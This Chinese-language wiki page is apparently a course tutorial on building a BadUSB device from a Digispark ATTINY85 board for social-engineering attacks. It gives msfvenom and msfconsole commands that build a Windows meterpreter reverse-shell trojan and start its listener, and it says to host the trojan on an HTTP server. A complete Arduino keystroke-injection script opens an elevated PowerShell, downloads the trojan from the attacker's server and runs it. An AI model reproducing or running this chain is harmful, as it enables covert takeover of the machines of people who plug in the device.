C41-社会工程学BadUSB刻录流程

【汇总】刻录BadUSB问题
https://wiki.bafangwy.com/doc/580/
<font color="red">因为环境变化，暂未复现成功，请大家暂时不要做这实验</font>

# 开发板购买
在淘宝搜“Digispark”，型号是ATTINY85，10块钱左右。
（注意，不同的产品，支持的脚本不同，所以要买对应的）

![](/media/202310/2023-10-10_105845_4474290.8214879945761504.png)

# 刻录参考文章
原文章已经无法打开，请查看离线网页：

[【附件】离线文章.zip](/media/attachment/2026/05/%E7%A6%BB%E7%BA%BF%E6%96%87%E7%AB%A0.zip)

# 需要注意！！！【额外文件】中的文件
<font color="red">因为环境变化，暂未复现成功，请大家暂时不要做这实验</font>
package_digistump_index.json
放在小皮面板的WWW目录下

文件，首选项，填这个地址：
http://localhost/package_digistump_index.json

digistump-avr-1.7.5.zip
micronucleus-cli-2.6-i686-mingw32.zip
放在
C:\Users\【你的用户名】\AppData\Local\Arduino15\staging\packages
例如：
C:\Users\Administrator\AppData\Local\Arduino15\staging\packages

![](/media/202403/2024-03-30_152205_5653920.8356982103945059.png)

# MSF木马制作
``msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.142.162 LPORT=4444 -f exe -o usb.exe``

# MSF监听端口
``msfconsole -x "use exploit/multi/handler;set payload windows/meterpreter/reverse_tcp;set lhost 192.168.142.162;set lport 4444;run"``

# Kali启动HTTP服务
启动HTTP服务：
``python -m SimpleHTTPServer 8000``

木马下载地址：
`X.X.X.X`修改为你自己的服务器IP地址
``http://X.X.X.X:8000/usb.exe``

换成你自己的MSF木马文件，用Python或者Apache提供HTTP下载。
必须要关掉杀毒软件。

# 最终成功脚本
`X.X.X.X`修改为你自己的服务器IP地址

```
#include "DigiKeyboard.h"
#define MOD_SHIFT_LEFT      0x02
void setup() {
  DigiKeyboard.delay(1000);//延时1秒
  DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT);//按下win+r键
  DigiKeyboard.delay(1000);
  DigiKeyboard.println("cmd");//输入"cmd"并确认
  DigiKeyboard.delay(1000);
  DigiKeyboard.sendKeyStroke(KEY_ENTER);
  DigiKeyboard.delay(1000);
  DigiKeyboard.sendKeyStroke(KEY_ENTER);
  DigiKeyboard.delay(5000);
  DigiKeyboard.sendKeyStroke(0,MOD_SHIFT_LEFT); 
  DigiKeyboard.delay(1000);
  DigiKeyboard.println("powershell.exe -command start-process powershell -verb runAs");//以管理员身份运行powershell
  DigiKeyboard.delay(3000);
  DigiKeyboard.sendKeyStroke(0,MOD_SHIFT_LEFT); 
  DigiKeyboard.delay(500);
  DigiKeyboard.println("$p = New-Object System.Net.WebClient");
  DigiKeyboard.delay(500);
  DigiKeyboard.println("$p.DownloadFile('http://X.X.X.X:8000/usb.exe','D:\\ceshi.exe')");//从服务器上下载木马到D盘
  //DigiKeyboard.delay(500);
  DigiKeyboard.println("D:\\ceshi.exe");//启动木马
  //DigiKeyboard.delay(500);
}
void loop() {
  
}
```

# 其他学习资料
https://blog.csdn.net/weixin_40485904/article/details/113637938
https://www.cnblogs.com/k1two2/p/6707014.html

关键词：
社工、社会工程学、U盘、优盘、插入U盘中木马